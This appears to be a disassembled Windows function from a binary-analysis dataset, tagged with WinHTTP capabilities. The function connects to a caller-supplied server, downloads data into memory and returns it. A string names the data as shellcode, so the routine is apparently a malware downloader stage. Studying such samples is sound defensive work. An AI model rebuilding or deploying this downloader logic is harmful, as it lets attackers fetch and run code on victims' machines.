Function at 0x140011212
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
jmp 0x140014ef0
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x4b0
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xbc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4d8]
mov rax, qword [0x140026040]
xor rax, rbp
mov qword [rbp + 0x468], rax
lea rcx, [0x14002d0d6]
call fcn.14001167c
nop
mov edx, 0x20
lea rcx, [rbp + 0x38]
call fcn.140011064
lea rcx, [rbp + 0x38]
call fcn.140011474
nop
mov dword [rbp + 0x74], 0
mov dword [rbp + 0x94], 0
mov qword [rbp + 0xb8], 0
mov dword [rbp + 0xd4], 0
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x118], 0
mov qword [rbp + 0x138], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
je 0x140014fff
xor r9d, r9d
movzx r8d, word [rbp + 0x4a0]
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp + 0x118], rax
jmp 0x140015014
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpConnect___u__n
call fcn.14001130c
nop
cmp qword [rbp + 0x118], 0
je 0x14001505f
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x4a8]
lea rdx, [0x1400218a8]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbp + 0x138], rax
jmp 0x140015074
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpOpenRequest___u__n
call fcn.14001130c
nop
cmp qword [rbp + 0x138], 0
je 0x1400150b4
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rbp + 0xd4], eax
jmp 0x1400150c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpSendRequest___u__n
call fcn.14001130c
nop
cmp dword [rbp + 0xd4], 0
je 0x1400150e9
xor edx, edx
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rbp + 0xd4], eax
jmp 0x1400150fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_WinHttpReceiveResponse___u__n
call fcn.14001130c
nop
cmp dword [rbp + 0xd4], 0
je 0x1400152d7
mov dword [rbp + 0x74], 0
lea rdx, [rbp + 0x74]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x14001513c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpQueryDataAvailable___u__n
call fcn.14001130c
nop
mov eax, dword [rbp + 0x74]
inc eax
mov eax, eax
mov ecx, eax
call fcn.1400112b7
mov qword [rbp + 0x338], rax
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
jne 0x140015182
lea rcx, str.Out_of_memory_n
call fcn.14001130c
nop
mov dword [rbp + 0x74], 0
jmp 0x1400152cd
mov eax, dword [rbp + 0x74]
inc eax
mov eax, eax
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0xb8]
call fcn.140011500
nop
lea r9, [rbp + 0x94]
mov r8d, dword [rbp + 0x74]
mov rdx, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x1400151d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpReadData._n
call fcn.14001130c
nop
jmp 0x140015283
lea rax, [rbp + 0x358]
mov qword [rbp + 0x388], rax
mov eax, dword [rbp + 0x94]
mov rcx, qword [rbp + 0xb8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x448], rax
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x38]
call fcn.14001169a
mov qword [rbp + 0x450], rax
mov rax, qword [rbp + 0x450]
mov qword [rbp + 0x458], rax
mov rdx, qword [rbp + 0x458]
mov rcx, qword [rbp + 0x388]
call fcn.1400112d0
mov qword [rbp + 0x460], rax
mov rax, qword [rbp + 0x448]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xb8]
mov r8, qword [rbp + 0x460]
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x38]
call fcn.140011546
lea rcx, [rbp + 0x3d8]
call fcn.140011541
nop
lea rcx, [rbp + 0x3a8]
call fcn.140011541
nop
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x408], rax
mov rcx, qword [rbp + 0x408]
call fcn.140011325
cmp qword [rbp + 0x408], 0
jne 0x1400152b4
mov qword [rbp + 0x448], 0
jmp 0x1400152cd
mov qword [rbp + 0xb8], 0x8123
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x448], rax
cmp dword [rbp + 0x74], 0
ja 0x14001510b
lea rcx, [rbp + 0x38]
call fcn.1400113bb
movzx eax, al
cmp eax, 1
jne 0x1400152f5
lea rcx, str.Failed_in_retrieving_the_Shellcode
call fcn.14001130c
nop
cmp dword [rbp + 0xd4], 0
jne 0x140015313
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__d_has_occurred._n
call fcn.14001130c
nop
cmp qword [rbp + 0x138], 0
je 0x14001532b
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
cmp qword [rbp + 0x118], 0
je 0x140015343
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
cmp qword [rbp + 0xf8], 0
je 0x14001535b
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
lea rcx, [rbp + 0x38]
call fcn.1400112a3
mov qword [rbp + 0x158], rax
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x178], rax
mov dword [rbp + 0x194], 0
jmp 0x140015399
mov eax, dword [rbp + 0x194]
inc eax
mov dword [rbp + 0x194], eax
movsxd rax, dword [rbp + 0x194]
mov qword [rbp + 0x448], rax
lea rcx, [rbp + 0x38]
call fcn.1400112a3
mov rcx, qword [rbp + 0x448]
cmp rcx, rax
jae 0x1400153e5
movsxd rax, dword [rbp + 0x194]
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140011668
movsxd rcx, dword [rbp + 0x194]
mov rdx, qword [rbp + 0x178]
movzx eax, byte [rax]
mov byte [rdx + rcx], al
jmp 0x14001538b
mov rax, qword [rbp + 0x178]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x10], rax
lea rax, [rbp + 8]
mov rdi, qword [rbp + 0x490]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rbp + 0x38]
call fcn.1400111fe
mov rax, qword [rbp + 0x490]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140021080]
call fcn.140011578
mov rax, rdi
mov rcx, qword [rbp + 0x468]
xor rcx, rbp
call fcn.14001132f
lea rsp, [rbp + 0x470]
pop rdi
pop rsi
pop rbp
ret